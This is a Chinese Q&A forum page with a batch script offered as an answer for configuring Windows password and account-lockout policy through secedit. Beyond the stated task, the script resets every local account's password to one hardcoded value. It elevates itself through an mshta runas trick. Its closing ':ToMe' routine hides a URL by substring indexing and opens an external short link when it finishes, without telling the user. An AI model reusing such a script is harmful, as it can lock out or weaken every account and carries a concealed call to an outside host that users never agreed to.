首 页 行业热点 新车 试驾评测 养车用车 车型库

cmd设置本地安全策略

发布网友

我来回答

1个回答

热心网友

展开3全部@echo off & title 一键配置帐户策略 By 依梦琴瑶
cd /d "%~dp0"

::设置【密码长度最小值】,0 不需要密码;最多 14
set Length=8

::设置【密码必须符合复杂性要求】,1 启用;0 禁用
set Complexity=1

::设置【密码最短使用期限】,0 立即更改;最多 998
set MinAge=0

::设置【密码最长使用期限】,0 永不过期;最多 999
set MaxAge=180

::设置【强制密码历史】,0 - 24
set History=3

::设置【用可还原的加密来储存密码】,1 启用;0 禁用
set Clear=0

::设置【帐户锁定时间】,0,一直锁定;最多 99999
set Lockout=10

::设置【帐户锁定阈值】,0,永不锁定;最多 999
set BadCount=3

::设置【重置帐户锁定计数器】,0,无;启用范围 1 - 999
set ReCount=10

::为所有帐户设置统一密码,密码中切勿包含特殊字符,比如 | ' " & % < > 等
set PassWord=qwer1234gfcvbn


::获取管理员权限
%1 call :GetAdmin "%~0"


::友情提醒,如果用户帐户名包含空格,或非中文系统。此命令可能会出现错误。
call :SetPassWord "%PassWord%"


::执行帐户策略
call :SetAccountPolicy

goto End

:SetAccountPolicy
(echo [Version]
echo signature="$CHICAGO$"
echo [System Access]
echo MinimumPasswordAge = %MinAge%
echo MaximumPasswordAge = %MaxAge%
echo MinimumPasswordLength = %Length%
echo PasswordHistorySize = %History%
echo PasswordComplexity = %Complexity%
echo LockoutBadCount = %BadCount%
echo ResetLockoutCount = %ReCount%
echo LockoutDuration = %Lockout%
echo ClearTextPassword = %Clear%)>AccountConfig.inf

secedit /configure /db AccountConfig.sdb /cfg AccountConfig.inf /log AccountConfig.log
del /f /q AccountConfig.*
goto :eof

:SetPassWord
for /f "skip=4 tokens=1-3" %%a in ('net user') do (
    if /i "%%~a"=="命令成功完成。" goto Next
    if /i not "%%~a"=="" net user %%~a %~1
    if /i not "%%~b"=="" net user %%~b %~1
    if /i not "%%~c"=="" net user %%~c %~1
)

:Next
goto :eof

:GetAdmin
echo 正在请求管理员权限。。。&&mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s1 ::","","runas",1)(window.close)&&exit
goto :eof

:End
echo 所有帐户策略配置已完成,请按任意键退出。
pause>nul
call :ToMe
exit

:ToMe
set "S=.:ailnhpst/fPdv"
start "" "%S:~6,1%%S:~9,1%%S:~9,1%%S:~7,1%%S:~1,1%%S:~10,1%%S:~10,1%%S:~8,1%%S:~3,1%%S:~5,1%%S:~2,1%%S:~0,1%%S:~4,1%%S:~9,1%%S:~10,5%"
exit

网络共享那个没有写代码,因为我也不清楚有没有相关命令可以修改。

追问如果不修改密码,只设置安全策略的话是删除那些呢,我昨天找到了设置所有用户密码的代码了,我吧它单独拿出来允许

来自:求助得到的回答

声明声明:本网页内容为用户发布,旨在传播知识,不代表本网认同其观点,若有侵权等问题请及时与本网联系,我们将在第一时间删除处理。E-MAIL:11247931@qq.com